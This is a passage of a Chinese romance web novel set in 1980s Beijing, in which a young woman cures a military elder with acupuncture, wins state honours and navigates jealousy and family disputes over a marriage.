一阵急促到堪称夺命的铃声,骤然从傅清寒的口袋里响了起来!是部队给他配备的、用于紧急联络的“大哥大”! 傅清寒眼中刚刚燃起的火焰,瞬间被击得粉碎!他暗骂一声,脸上的神情,瞬间切换回了军人的果决与严肃。 他几乎是咬着后槽牙,掏出了那个毁了他好事的砖头。 电话刚一接通,那头就传来了一个他熟悉的、却充满了焦急和恐慌的声音! 是陈慕白! “傅团长!是我,陈慕白!”陈慕白的声音,因为极度的焦急而有些变调,“请您……请您立刻让白神医接电话!我爷爷……我爷爷他,突然病危,陷入深度昏迷,各大医院的专家都束手无策了!” 他顿了顿,声音里带上了最后一丝希望的哀求: “现在……只有白神医能救他了!” “我们马上过去!”他挂断电话,没有一丝犹豫。 他看着身边同样一脸严肃的白凝凝,沉声道:“走!” —— 两人用最快的速度,赶到了位于西山的军委一号疗养院。 这里是国家最高领导人的专属医疗和休养地,守卫森严,气氛肃穆。 深夜的疗养院灯火通明,空气中弥漫着一股凝重到几乎让人窒息的紧张感。 当傅清寒开着吉普车,一路畅通无阻地抵达最高级别的特护病房外时,走廊里已经站满了人。有肩上扛着将星的将军,有神情焦灼的政府高官,还有一群以李建国院长为首、愁容满面的国内顶级医学专家。 “清寒!你可算来了!”一名两鬓斑白、气度不凡的老将军看到傅清寒,立刻迎了上来,他就是陈老总最器重的老部下,王振国上将。 他的目光急切地落在白凝凝身上,带着最后一丝希望:“这位就是……白神医?” 傅清寒重重地点了点头:“是。” 而站在人群最前方的,正是刚才在电话里声音几近崩溃的陈慕白。 他穿着一身合体的中山装,但此刻,那向来沉稳儒雅的脸上,却写满了焦虑和无助。看到白凝凝,他就像看到了救命稻草,快步上前,眼中甚至泛起了血丝。 “白医生!”他顾不上称呼她为“凝凝”或“弟妹”,而是用上了最郑重的“医生”二字,声音里带着一丝颤抖,“求求你,救救我爷爷!只要能让他醒过来,我们陈家……欠你一个天大的人情!” 他的姿态放得很低,充满了对医者的敬重和对亲人的担忧。 “胡闹!”人群中,一个穿着白大褂、戴着眼镜的中年专家忍不住开口,语气里充满了质疑,“王老,慕白!我知道你们心情急切,但陈老总的病……岂能儿戏?让一个乳臭未干的小丫头进去,这要是出了事,谁担待得起?!” 此言一出,立刻引起了其他几位专家的附和。他们已经会诊了几个小时,连病因都无法确定,怎么可能相信一个连行医执照都没有的年轻女孩? 李建国院长此刻也站了出来,但他却是对着那些专家,沉声道:“诸位,都给我闭嘴!这位白神医的医术,我亲眼见过,远在我等之上!陈夫人的病,就是最好的证明!现在,我们束手无策,难道要眼睁睁看着陈老总……就这么去了吗?!” “陈夫人”三个字一出,所有质疑声都小了下去。 王上将更是一摆手,做了决定:“都别吵了!让白神医进去!出了任何事,我王振国一力承担!” 白凝凝对着王上将和李院长微微颔首,表示感谢。然后,她在所有人的注视下,神情平静地推开了那扇沉重的病房门。 傅清寒紧随其后,寸步不离。 病房内,各种最先进的医疗仪器围绕着病床,发出滴滴的声响。病床上,陈老总双目紧闭,面色灰败,呼吸微弱得仿佛随时都会停止。 白凝凝没有去看那些闪烁着数据的仪器,而是径直走到床边,伸出两根手指,轻轻搭在了陈老总的手腕上。 望、闻、问、切。 她闭上眼睛,神情专注,整个世界仿佛都只剩下她指尖与那微弱脉搏之间的联系。 时间一分一秒地过去,病房外的人心急如焚,病房内的傅清寒连呼吸都放轻了,生怕打扰到她。 足足过了五分钟,白凝凝才缓缓睁开眼。 “怎么样?”傅清寒立刻上前,低声问道。 白凝凝的眉头紧紧蹙起:“很麻烦。不是心,也不是脑,是‘蛊’。” “蛊?!”傅清寒瞳孔一缩。 “一种极其罕见的神经性寄生菌,潜伏期极长,会缓慢侵蚀人的中枢神经。一旦爆发,就会造成全身器官的急速衰竭。”白凝凝语气凝重,“这种东西,仪器根本检测不出来,西医也无药可解。陈老总应该是早年间在西南边境执行任务时,不慎沾染上的。” 她的话,通过微型麦克风传到了外面的监控室。 “胡说八道!什么年代了,还搞封建迷信!”那个中年专家又一次跳了出来。 然而,王上将和陈慕白的脸色却猛地一变!王上将冲到话筒前,激动地问道:“白神医!你怎么知道……老总早年在西南边境执行过秘密任务?!” 那段历史是最高机密,只有他们几个老伙计和最亲的家人知道! 白凝凝淡淡道:“脉象上说的。” 仅此一句,再无质疑。 “有办法救吗?”傅清寒的声音里带着一丝紧张。 “有。但很险。”白凝凝从布包里拿出了一排最细长的银针,“我要用‘九宫还阳针’,逼出蛊母。过程不能有任何打扰,否则前功尽弃,陈老总会立刻毙命。” 她看向傅清寒,眼神郑重:“你,替我守好门。” “好。”傅清寒没有一丝犹豫,转身走到门口,高大的身躯如同一座无法逾越的山峰,将门内外的世界彻底隔绝。 接下来的几个小时,是一场没有硝烟的战争。 白凝凝全神贯注,额角渗出细密的汗珠。她的手指翻飞,一根根银针精准地刺入陈老总周身的大穴,内力源源不断地注入,引导着那股霸道的“蛊毒”向着一个方向汇聚。 当她因为消耗过大,嘴唇有些发白时,傅清寒立刻拧开一瓶温水,递到她嘴边,让她能不中断手上的动作,就能喝上一口。 当她因为长时间保持一个姿势,身体有些僵硬时,他会悄无声息地搬来一张椅子,放在她身后最合适的位置,让她能稍微借力,缓解疲惫。 整整一夜过去,当天边泛起鱼肚白时,白凝凝终于施下了最后一针! 她猛地拔出位于陈老总心口的一根银针,只见一缕黑色的血液随之被带出,滴落在托盘上,而那黑血之中,有一只微不可见的小虫,在扭动了几下后,彻底死去。 与此同时,病床上的陈老总,发出一声悠长的呼吸,灰败的脸色竟奇迹般地泛起了一丝红润! 心电监护仪上,那条原本微弱得几乎要拉成直线的波纹,开始变得强劲而有力! 成功了! 白凝凝身体一晃,几乎要虚脱倒地。 一只强壮有力的臂膀,及时地从身后揽住了她的腰,将她稳稳地带入一个坚实而温暖的怀抱。 “没事了,我在这里。”傅清寒低沉而沙哑的声音,在她耳边响起。 那一刻,白凝凝所有的疲惫和紧绷,都仿佛找到了宣泄的出口。她安心地靠在他怀里,闭上了眼睛。 第17章 生子秘方,带你出去 当天边泛起鱼肚白,当心电监护仪上的波纹,从微弱得近乎直线,重新变得强劲而有力时,整栋特护病房大楼,都爆发出了一阵压抑不住的欢呼! 陈老总,醒了! 当王上将和陈家众人冲进病房,看到那个几个小时前还面如死灰的老人,此刻已经能在搀扶下勉强坐起时,所有人都激动得热泪盈眶。 陈慕白快步走到几乎虚脱的白凝凝面前,深深地、郑重地鞠了一躬。 “白医生,”他眼眶泛红,声音里充满了无尽的感激,“大恩不言谢。今日之情,我陈家上下,没齿难忘。日后,但凡您有任何差遣,我们陈家,万死不辞!” 他知道,白凝凝救下的,不仅仅是爷爷一个人的性命,更是整个陈氏家族的“定海神针”。 这份恩情,重如泰山! 而白凝凝,只是在傅清寒的搀扶下,淡淡地摇了摇头:“医者本分而已。” 说完,她便在傅清寒的护送下,离开了这个充满了赞誉和感激的地方,将所有的喧嚣都留在了身后。 经此一役,白凝凝“神医”之名,在京市最顶级的圈子里,不胫而走。 几天后,军区总医院院长李建国,亲自将一份烫金的聘书,送到了傅清寒的小院。 “白神医,不,白顾问!”李院长满面红光,态度比上次更加恭敬,“经过院里党委会一致决定,我们正式聘请您为我院的‘特邀专家顾问’!您不用坐班,但享受我院最高级别的专家待遇!以后,我们院里要是再遇到什么疑难杂症,还得请您多多指点啊!” 白凝凝欣然接受。这份工作,不仅是一份荣誉,更是她在这个世界,安身立命的第一块基石。 --- 第一次以“专家顾问”的身份去医院“巡视”时,李院长亲自陪同,将她安排在了自己宽敞明亮的办公室里,地位超然。 恰好,孙立因为手抖的问题,被调离了手术台,正在办公室外整理病历。看到被院长众星捧月般请进来的白凝凝,他的脸色一阵青一阵白,眼神复杂到了极点。 有敬畏,有不甘,还有一丝难以启齿的……嫉妒。 就在这时,两个小护士抱着病历本从他身边走过,压低了声音在八卦。 “哎,你听说了吗?今天早上,傅家大房那个傅向阳的女朋友,叫楚小小,她妈又来了,神神秘秘地拉着我们妇产科的王主任问了老半天呢!问了一大堆‘生男孩的秘方’!还说什么酸儿辣女,问我们有没有更科学的法子!真是想儿子想疯了!” “啊?她四五十了还要拼儿子啊?” 对方小护士甩了个白眼,“什么她要生儿子啊?告诉你,不是那个阿姨看病,是给楚小小看。” “啊?”对方更吃惊了,“她一个黄花大闺女问什么生儿子的事啊?” “谁说是黄花大闺女了?就前几天有人看见她挽着傅向阳的手去了招待所呢。”对方神神秘秘眨眨眼。 “傅向阳?”对方瞪大眼睛,“那不是……” “是啊,傅向阳。傅团长的侄子。楚小小八成想的是生个男孩好赖上傅家,那孩子将来就是傅家将来的长房长孙了,打定主意要继承家业呗。” 另一个撇撇嘴,“继承家业?说的好听,没有傅老爷子和傅清寒谁知道他傅向阳是谁啊。八成看他小叔家底厚实,挣得多,想吃绝户的吧。” 孙立听着这些话,嘴角勾起一抹轻蔑的冷笑。 他想起前几天,楚小小还曾托人找到他,旁敲侧击地打听“生男生女”的问题,那焦急又做作的模样,真是可笑。 亏自己之前还觉得她看起来乖巧柔弱,文文静静,是个好姑娘呢。 没想到是要给傅向阳生儿子啊,而且想的还是吃傅清寒的绝户。 这么居然这么……功利和无耻…… 自己真是眼瞎了。 他正想着,办公室的门开了,白凝凝和李院长一起走了出来。 孙立立刻收敛了脸上的表情,换上了一副谦恭的姿态,主动上前,以请教的口吻说道:“白……白顾问,上次您在陈老总病房施展的针法,真是让我大开眼界,不知可否……” 白凝凝淡淡地扫了他一眼,仿佛看穿了他所有的心思。 “与其关心我的针法,不如多关心一下你自己的手。”她的话,轻描淡写,却像一把刀子,精准地戳进了孙立最痛的地方。 孙立的脸,瞬间涨成了猪肝色。 白凝凝没有再理会他,径直离开。 孙立看着她那清冷孤傲的背影,心中却再也生不出一丝一毫的恨意。 他知道,这个女人说的没错,自己的手…… 既然她连陈老总那种一脚踏入黄泉的人都能拉回来…… 或许……只有她,才能治好自己这双已经废了的手。 自己已经错了太多,难道以后也要像楚小小和傅向阳一样在背后被人议论,一样无耻和下贱吗? 他不要,他就算一时被楚小小迷惑,但他是留过洋的医生,骄傲不允许他堕落成那个样子! 不管是怎样的羞辱,他都认了,也是对自己错误买单。 想了清楚,他在背后喊住凝凝,“白神医!你上次说的话还算话吗?” “什么?” “你说我去傅家大院门口,学着傅向阳的样子,自己掌嘴一百下,再大喊一百声‘中医博大精深,我是井底之蛙’。就会治好我的手!” 凝凝扭头看他,“想通了?” “是,我说了不该说的话,是我刚愎自用,井底之蛙,道歉是应该的。” 凝凝看他,“知错能改,你还不算彻底没救。既然你能认识到这一点,就不用当众去丢人了。明天上午我来坐诊,你有时间就过来把。” --- 白凝凝结束了在医院的第一次“巡视”,走出大门时,傅清寒那辆熟悉的军用吉普,早已如约停在了门口。 她刚拉开车门坐进去,还没坐稳,一个纸袋就递到了她面前。 “什么?”她好奇地接过。 “刚买的,糖炒栗子,趁热吃。”傅清寒目不斜视地开着车,语气还是一如既往的平淡,但耳根处那抹不易察觉的微红,却出卖了他。 白凝凝剥开一颗温热的栗子,放进嘴里,又香又糯的甜味瞬间在口腔里化开。她看着身旁这个男人线条分明的侧脸,心中一暖。 回到小院,两人刚下车,就看到陈慕白也恰好从一辆黑色的轿车上下来,他手里提着两个精致的礼盒,显然是特意来登门拜访的。 “清寒,白医生。”陈慕白看到他们,温文尔雅地笑着打招呼,那双看向白凝凝的桃花眼里,充满了毫不掩饰的欣赏和感激,“我爷爷让我过来,送一些他珍藏的药材给白医生,聊表心意。” 傅清寒的眉头,在看到陈慕白那过分“热切”的眼神时,几不可察地,皱了一下。 他上前一步,极其自然地,将白凝凝往自己身后揽了揽,自己则站在了她与陈慕白之间,用一种主人的姿态,客气而又疏离地说道:“陈先生有心了。凝凝刚从医院回来,有些累了,需要休息。东西留下,我代她谢过。” 那看似平淡的话语里,却充满了不容置喙的占有欲。 陈慕白何等聪明,立刻就察觉到了空气中那股若有若无的“醋意”。他失笑地摇了摇头,将东西交给傅清寒,识趣地告辞了。 “清寒,你放心。我对白医生,只有对恩人和医者的敬重,绝无他想。”临走前,他半开玩笑半认真地补充了一句。 关上院门,傅清寒提着那两个分量不轻的礼盒,看着正一脸无辜地吃着栗子的白凝凝,心中那股莫名的情绪,愈发强烈。 今天在医院,她是所有专家都敬佩的“白顾问”;刚才在门口,她又是陈家上下都想拉拢的“白神医”。 她越来越耀眼,像一颗蒙尘的明珠,终于开始绽放出属于她的光芒。 他为她感到骄傲。 可同时,一股连他自己都未曾察觉的、强烈的占有欲也悄然从心底升起。 他忽然就不想让别人看到她这么好了。 他想把她藏起来,藏在只有自己能看到的地方。这个念头一出现,就让他自己都吓了一跳。 这是不对的,他对自己说,她有才华,有自己的天地这是好事。自己要做的不是把她藏起来,而是在一旁守护好她。 他走到她面前,从她手里拿过那袋栗子,然后,在她不解的目光中,亲自剥了一颗,递到她嘴边。 “以后,离陈慕白远一点。”他用命令的语气,说着最幼稚的话。 白凝凝被他这突如其来的“醋意”弄得哭笑不得,没想到这个冷面阎王的傅大团长还是个醋坛子啊。 她本想调侃几句,但看着他黝黑不见底的眼眸,想想还是算了,好汉不吃眼前亏,笑了笑,顺从地张嘴,吃掉了他喂过来的栗子。 傅清寒看着她那被栗子喂得鼓鼓囊囊的脸颊,和那双因为笑意而弯成月牙的眼睛,心中的那点郁结,才稍稍平复。 他决定,明天,必须带她去一个地方。一个没有陈慕白,没有李院长,没有那些乱七八糟的人,只有他们两个的地方。 去体验一下,独属于他们两个人的、最普通的生活。 第18章 夜色下的自行车,悄然的流言 这天傍晚,傅清寒没有开那辆扎眼的军用吉普,而是推出来一辆擦得锃亮的、军绿色的“二八大杠”自行车。 “上车。”他拍了拍后座,对刚从工作室回来的白凝凝命令道,语气平淡,眼神里却透着一丝不容拒绝的霸道。 白凝凝看着这辆充满时代感的自行车,有些新奇,也有些好笑,但还是顺从地坐了上去。 傅清寒长腿一跨,车子稳稳地骑了出去。 晚风习习,吹起白凝凝鬓角的碎发。她坐在后座上,为了保持平衡,双手下意识地,轻轻抓住了他腰侧的衣角。 隔着一层薄薄的衬衫,她能清晰地感受到他腰腹处那坚实紧绷的肌肉线条,和透过布料传来的、滚烫的体温。 她的脸颊,不自觉地就红了。 傅清寒从她那紧抓着自己衣角的小手上,感受到了她的紧张和依赖,嘴角不自觉地勾起一抹连他自己都未曾察觉的、满足的弧度。 他没有带她去什么高级饭店,而是穿过几条胡同,来到了京市一家很有名气的国营老字号面馆。 面馆里人声鼎沸,充满了烟火气。 他为她点了一碗热气腾腾的阳春面,又细心地多加了一份卧鸡蛋。 看着她埋头吃面时,那因为热气而微微泛红的小脸,傅清寒觉得,这比他在任何国宴上吃到的山珍海味,都更让他感到满足。 吃完面,两人沿着什刹海的湖边,慢慢地散着步。 就在这时,不远处传来一阵喧闹声。是几个住在附近大院里的家属,正聚在一起,兴高采烈地聊着天。 “哎,你们听说了吗?林家那个在法国当大使的大小姐,林晚晴,下个月就要回来了!”一个穿着碎花衬衫的胖大妈,声音洪亮地说道。 “真的假的?那可了不得!我可听说了,她当年和傅家那个小叔,傅清寒,那可是咱们整个大院公认的‘金童玉女’啊!” “可不是嘛!郎才女貌,青梅竹马,门当户对!要不是林大小姐心气高,非要出国深造,哪有现在这个什么事儿啊……啧啧,这下正主回来了,有好戏看了!” “狗屁心高气傲,心高气傲能天天追在人家屁股后面,清寒哥长清寒哥短?还不是因为傅团长受伤那件事,她怕耽误了她才跑路的。” “就是,那她还回来干嘛?总不是听说傅团长结婚了想回来刺探情况吧?要真是那样,就太没意思了。” “切,林晚晴那个丫头片子可精得呢。” 她们正说得起劲,一抬头,却恰好对上了傅清寒那双冰冷如刀的眸子。 那几个大妈瞬间像被掐住了脖子的鸭子,脸色一白,立刻噤声,尴尬地笑着,灰溜溜地散开了。 空气,在这一瞬间,仿佛凝固了。 白凝凝听着那些刺耳的议论,心中像被一根细细的针,轻轻地扎了一下。 林晚晴?金童玉女?青梅竹马? 清寒哥长清寒哥短? 这是她第一次,从别人口中,听到这个名字,以及她和傅清寒那段她从未触及过的“过往”。 原来,这样一个冰山一样的活阎王之前的感情史不是空白啊。 也是……他冷是冷点,但长得好啊…… 她下意识地抬起头,去看身边男人的反应。 傅清寒的脸色,确实很难看。他眉头紧锁,周身散发着一股“生人勿近”的冷冽气息。 在白凝凝看来,他这副模样,像极了“被戳到痛处”后的恼羞成怒和心虚掩饰。 而傅清寒不知道凝凝此时的猜测,浮现在他脑子的却是:这群长舌妇,真是无聊透顶!好不容易和凝凝出来散散心,又被这些陈芝麻烂谷子的破事搅了兴致! 他心里没鬼,所以压根没想过要解释什么。 他只是纯粹地,因为自己和妻子的独处被打扰,而感到烦躁和愤怒。 他转过头,看到白凝凝正看着自己,便以为她是被那些人的议论影响了心情。 他伸出手,再次将她冰凉的小手握进自己掌心,语气生硬地安慰道:“别理她们。一群无聊的妇人。” 说完,便拉着她,继续往前走,仿佛刚才什么都没发生过。 白凝凝没有再说话。 她任由他牵着,只是那颗刚刚因为一碗阳春面和夜色下的自行车而变得温暖柔软的心,此刻,却悄然地,蒙上了一层不易察觉的、细细的尘埃。 她告诉自己,没关系。 他们的开始,本就是一场交易。他有怎样的过去,与她无关。 可是,为什么心里,还是会觉得……有点闷呢? 这个林晚晴到底是什么人…… 回到小院,傅清寒去冲澡,白凝凝则像往常一样,拿出她那些宝贝医书,坐在灯下翻看起来。 灯光柔和,岁月静好。 可她的目光,却久久地,停留在同一页上,一个字也看不进去。 满脑子,都是刚才听到的那些话。 “林晚晴……” 她在心里,无声地,咀嚼着这个名字。这是一个带着书卷气和诗意的名字,一听,就让人觉得是个知书达理的大家闺秀。 “金童玉女……” 她忍不住在脑海里,勾勒出一幅画面:年轻时的傅清寒,还没有现在这般冷硬,他穿着军装,英姿勃发地站在一个同样耀眼的女孩身边。他们站在一起,是那样的般配,是所有人眼中,天造地设的一对。 “正主回来了……” 所以,自己算什么呢?一个因为“正主”不在,才被临时拉来填补空缺的替代品吗? 白凝凝的心,像被一只无形的手,紧紧地揪了一下,传来一阵细密的、闷闷的疼。 她被自己这个突如其来的念头吓了一跳。 你到底在想什么,白凝凝? 她在心里,厉声地告诫自己。 你清醒一点!这不关你的事!你们的开始,本就是一场公平的交易!他给你庇护,你为他治病,各取所需,互不相欠! 动心?别开玩笑了。自己是什么人,曾是古武世家的传人,什么时候因为一男人伤春悲秋了? 白凝凝!你不要堕落啊! 她深吸一口气,强迫自己将注意力重新放回到眼前的医书上。那上面晦涩的古文,此刻却成了她唯一的救命稻草,能让她从那些纷乱的、不该有的情绪中,暂时抽离出来。 就在这时,浴室的门开了。 傅清寒只在腰间围了一条浴巾,走了出来。他身上还带着未干的水汽,古铜色的肌肤在灯光下泛着健康的光泽,水珠顺着他紧实的腹肌线条,一路向下,没入那片神秘的阴影里。 他擦着头发,看到白凝凝还坐在灯下看书,便很自然地走了过去。 “怎么还不睡?”他低沉的嗓音,在她头顶响起。 白凝凝的心,漏跳了一拍。她猛地合上书,站起身,为了掩饰自己的失态,她没有看他,只是低着头,快步往卧室走去。 “有点困了,我先去睡了。”她的声音,比平时更冷了几分。 傅清寒看着她那仿佛在“落荒而逃”的背影,有些不解地皱了皱眉。 是还在为刚才那些长舌妇的话生气吗? 他摇了摇头,只当她是小女人家心思敏感。 第19章 一地鸡毛的“喜事” 自那晚湖边散步后,白凝凝便将自己那点不该有的心思,强行压了下去。她告诉自己,做好傅太太,治好傅清寒,拿回属于自己的一切,站稳脚跟,才是正事。 而傅清寒,也因为凝凝突然的冷淡觉得莫名其妙,还有点不安,想找个机会再带她出去转转。 然而还没等到傅清寒找到机会邀约,就被傅家大房传来的“喜事”给打断了。 楚小小在医院咨询“科学备孕”无果后,看着傅向阳那副冷漠又不耐烦的样子,心中越发焦虑。 她心里清楚,再也不快点怀孕,等这点新鲜劲过去,自己可就真的没有指望了。 但睡也睡了,她这几天都缠着傅向阳,可肚子一点不见动静。真是的,这个男人到底行不行,都说他小叔伤了根本,不能有孩子,怎么傅向阳也是这样,他们傅家人有病吧…… 不过心里抱怨归抱怨,表面上她还是一副温柔小意,另外她也知道必须快点想别的办法了。 这天,她借口“回乡探亲”,实则悄悄地,南下了一趟。 回来后没过多久,一张医院的化验单,就成了她手中最锋利的“武器”。 这天下午,楚小小在母亲的陪同下,带着这张“王牌”,正式登了傅家的门。 “亲家母!天大的喜事啊!”楚母一进门就咋咋呼呼地嚷嚷起来,脸上是掩饰不住的得意,“我们家小小,怀上了!是你们向阳的骨肉!这可是你们傅家的长孙啊!” 那张B超单,被她像圣旨一样拍在了周玉芬面前的茶几上。 周玉芬看着那张模糊的单子,又看了看旁边一脸娇羞、手抚小腹的楚楚,整个人都懵了,随即脸色变得比锅底还黑。 她做梦都想要个孙子,可她绝对不想要一个“作风有问题”的副局长家的女儿,来当她孙子的妈!楚家倒台的消息,早就在大院里传遍了。如今的楚楚,就是个落了毛的凤凰,除了那张脸,一无是处。 “这……这会不会是搞错了?”周玉芬勉强挤出一个笑容,试图挣扎一下。 “搞错?!”楚母立刻拔高了音调,“医院的钢印盖着呢,还能有假?周玉芬,我可告诉你,我们家小小是黄花大闺女,肚子里怀的是你们傅家的种!你们要是不认,我就去军区大院里闹,去部队举报傅向阳搞大了女同志的肚子不负责任!我看到时候,你们傅家的脸往哪儿搁!” 好一招釜底抽薪! 周玉芬气得浑身发抖。她知道,这事要是闹大了,别说傅向阳的前途,整个傅家的名声都得完蛋! 她看向一旁手足无措的儿子,恨铁不成钢地骂道:“你个没出息的东西!” 傅向阳此刻也是六神无主。他之前被白凝凝和小叔的事打击得一蹶不振,楚楚的温柔乡成了他唯一的慰藉,谁知道……这么快就中招了! “妈……我……” “行了!”周玉芬心烦意乱地一摆手,她知道,这个孙子,她不认也得认。为了傅家的脸面,为了这个“长孙”,她只能捏着鼻子,认下楚楚这个儿媳妇! 她深吸一口气,脸上换上了一副虚伪的笑容:“哎呀,看我,一高兴都糊涂了。怀上了好,怀上了好啊!小小啊,你现在可是我们家的大功臣,快,快坐下!” 一场闹剧,就这么以周玉芬的妥协而告终。 既然决定要结婚,接下来自然是谈彩礼和嫁妆。 “亲家母啊,”楚母清了清嗓子,开始摆谱,“我们小小虽然家道中落,但也是我们捧在手心里的宝贝。这结婚的彩礼嘛,不能太寒碜。三转一响是标配,冰箱、电视、洗衣机三大件也得有,另外,再给八千八百八十八的现金,图个吉利!” “什么?!”周玉芬的眼睛瞬间瞪圆了!八十年代末,这狮子大开口,简直是要了她的老命! “你这是嫁女儿还是卖女儿?!” “话不能这么说!我们楚楚可是带着你们傅家的长孙嫁过来的!金贵着呢!” 一时间,傅家主宅的客厅,变成了菜市场。周玉芬和楚家母女俩,为了几千块钱的彩礼和几件家电的归属权,吵得面红耳赤,唾沫横飞。 傅向阳夹在中间,一个头两个大,只觉得无比心烦和屈辱。他看着楚小小那副为了几百块钱寸步不让的市侩模样,再想想母亲那尖酸刻薄的嘴脸,一股强烈的烦躁涌上心头。 楚小小怎么变成现在这副模样了……她不是最善解人意吗,哪次不是温声细语地顺从自己……难道都是她装的? 不,不会的,小小她一定是太喜欢自己了,急着嫁进傅家。 他的目光落在白凝凝身上,忍不住想,如果当初他娶的是白凝凝,会是这样吗? 白凝凝从不要这些,她总是安安静静的,把家里收拾得干干净净,看他的眼神里,永远带着崇拜和依赖…… 一时间,傅家主宅的客厅,变成了菜市场。周玉芬和楚家母女俩,为了几千块钱的彩礼和几件家电的归属权,吵得面红耳赤,唾沫横飞。什么大家风范,全都抛到了九霄云外。 这场闹剧,自然也惊动了正在书房写字的傅老爷子。 他拄着拐杖走出来,看着眼前这如同菜市场般的场景,脸色一沉,拐杖重重地敲了敲地面! “都给我住嘴!像什么样子!” 周玉芬和楚母立刻噤声。 傅老爷子看了一眼那张化验单,又冷冷地扫了一眼傅向阳和楚小小,眼神里充满了失望。 他心里跟明镜似的。傅向阳先是悔了白凝凝这门好亲,转头又搞出“未婚先孕”这种伤风败俗的丑事,简直是把傅家的脸都丢尽了! 这几天,大院里的闲话,他不是没听到。 “听说了吗?傅家大房那个向阳,把他爷爷给定的好媳妇气跑了,自己倒是在外面搞大了别人的肚子!” “可不是嘛!那个姓楚的,家里刚出事,这边就怀上了,这心机,啧啧……” “真是家门不幸啊!好好一个烈士遗孤不要,非要娶这么个货色进门!” 这些话,像刀子一样,剜着老爷子的心。 但……事已至此,孩子都有了,还是傅家的第一个重孙辈,总不能真的把人打掉,让傅向阳落下一个“始乱终弃”的更坏名声。 傅老爷子深吸一口气,压下心中的怒火,做出了最终的裁决。 “彩礼,可以给。”他看着楚母,语气冰冷,“但三大件没有,现金给六千六,不能再多了!就这么定了!你们要是同意,就挑个日子把事办了。要是不同意……你们自己处理吧。”他冷哼一声,“我们傅家,丢不起这个人!” 老爷子一锤定音,楚家母女虽然心有不甘,但也知道见好就收,最终捏着鼻子答应了。 一场荒唐的“喜事”,就这么在鸡飞狗跳中,定了下来。 楚小小和周玉芬虽然被大院的流言蜚语戳得脊梁骨疼,但内心深处,却都充满了得意,自己终于“母凭子贵”,一只脚踏进了傅家这个高门大院。 而周玉芬则得意于自己即将拥有“长孙”,仿佛已经看到了自己将来抱着孙子,在大院里扬眉吐气的场景。她甚至在心里盘算着,等孙子一落地,就立刻把楚小小这个“上不了台面”的儿媳妇,一脚踹开。 她们都沉浸在自己的美梦里,丝毫不知道,一份来自军委的通报,已经悄然下达到了各大院。 这天,傅老爷子将全家人都叫到了主宅,说是要宣布一件“大事”。 这天傍晚,傅老爷子一个电话,将傅家所有人都叫到了主宅,说是要宣布一件“天大的事”。 电话里,老爷子的声音透着一股前所未有的兴奋和骄傲。 周玉芬挂了电话,立刻喜上眉梢。 “天大的事?”她拉着楚小小的手,笑得见牙不见眼,“肯定是老爷子想通了,要正式商量你和向阳的婚事了!小小啊,你可是我们傅家的大功臣,肚子里怀着长孙呢!这次,妈一定给你办得风风光光的!” 楚小小也羞涩地低下了头,眼中却闪烁着得意的光芒。她特意换上了一件新买的、稍微能显出一点腰身的连衣裙,还精心化了妆,力求在今晚的“主场”上,艳压所有人。 傅向阳看着她们俩那副喜气洋洋的模样,心里却总觉得有些不安,但又说不上来为什么。 当傅清寒牵着白凝凝的手,走进客厅时,周玉芬和楚小小立刻交换了一个幸灾乐祸的眼神。 在她们看来,今晚就是她们扬眉吐气,而白凝凝要靠边站的日子。 “爸,我们都到齐了,您有什么大喜事要宣布啊?”周玉芬迫不及待地问道,语气里充满了暗示。 然而,傅老爷子坐在主位上,却连一个眼神都没分给她和楚小小。 他的目光,灼热而又骄傲地,落在了白凝凝的身上。那眼神,看得周玉芬心里莫名“咯噔”一下,一股不祥的预感油然而生。 只见傅老爷子深吸一口气,从怀里,极其郑重地掏出了一份折叠得整整齐齐、盖着鲜红印章的文件。 他清了清嗓子,用一种前所未有的、洪亮而又自豪的声音,当众宣读了起来: “【华国军事办公厅通报】——” 仅仅这几个字,就让整个客厅的空气都凝固了! 傅建军和傅向阳都下意识地站直了身体,那是刻在骨子里的、对最高指令的敬畏! 周玉芬和楚小小虽然不懂,但也知道,能冠上这几个字的文件,绝对非同小可。 傅老爷子的声音,带着一丝激动到发颤的音调,继续响彻整个客厅: “兹有我军区家属白凝凝同志,医术高超,临危受命,于西山一号疗养院,成功救治陈镜海总长于危难之际,挽救了革命功臣的生命,为党和国家做出了卓越贡献!” 轰!!! 这句话,如同一道惊雷,在周玉芬、楚小小和傅向阳的耳边炸响! 白凝凝……救了……陈老总?! 他们不是没文化的人,自然知道陈镜海这三个字,在华国代表着什么! 周玉芬脸上的笑容瞬间僵住,楚楚那娇羞的表情也凝固在了脸上。 傅向阳更是瞪大了眼睛,满脸的不可置信! 这怎么可能?!那个在他印象里,除了洗衣做饭什么都不会的乡下丫头,怎么可能跟那种传说中的大人物扯上关系?! 然而,更让他们魂飞魄散的,还在后面! 傅老爷子的声音愈发高亢,几乎是用吼出来的: “经军委研究决定,特授予白凝凝同志‘一等功臣家属’荣誉称号!并一次性奖励现金——十万元!以资鼓励!” 十万元! 这三个字,像三柄千斤重的巨锤,狠狠地砸在了三人的天灵盖上! “噗通!” 周玉芬腿一软,再也支撑不住,一屁股跌坐在了沙发上,双目无神,嘴巴张得能塞下一个鸡蛋。 十万……那是什么概念?! 她和小小的母亲,刚才还在为八千八的彩礼,为一台几百块的电视机吵得不可开交,而白凝凝,这个她最看不起的丫头,现在随手就拿到了十万! 这笔钱,足够把她和楚小小想要的那些东西,买上十几遍! 楚小小的脸,“唰”地一下,白得像鬼!她死死地攥着拳头,指甲深深地掐进掌心,尖锐的刺痛让她勉强保持着站立的姿势。 嫉妒!疯狂的嫉妒像是毒蛇一样,啃噬着她的心脏! 凭什么?!凭什么这个贱人能有这样的好运?! 明明自己才是重生的! 而傅向阳,他直勾勾地盯着那份文件,呼吸都变得急促起来! 他的脑子里,只剩下“十万元”和“一等功臣家属”这两个词在疯狂盘旋! 如果……如果他没有悔婚…… 那这份荣耀,这份巨款,是不是就都是他的了?! 他可以拿着这笔钱,买车买房,办最风光的婚礼,甚至可以作为启动资金,去做一番大事业!他可以走到哪里,都挺直腰杆,骄傲地对所有人说:“我妻子,是一等功臣家属!” 然而现在,这一切,都属于他那个不苟言笑、他从小就又敬又怕的小叔! 一股浓烈到极致的悔恨和贪婪,瞬间冲垮了他的理智!他看着那个在所有人注视下,依旧云淡风轻的白凝凝,再看看身边这个因为嫉妒而面容扭曲的楚小小…… 他第一次,如此清晰地认识到,自己当初放弃的,到底是什么。 那不是一个包袱,而是一座他永远无法企及的、堆满了金山和荣耀的宝库! 傅老爷子宣读完毕,小心翼翼地将文件递给白凝凝,脸上的笑容灿烂得像盛开的菊花:“好孩子!好样的!你给我们老傅家,给你的父母,都争了大光了!” 他转过头,目光如电,冷冷地扫过已经失魂落魄的周玉芬一家。 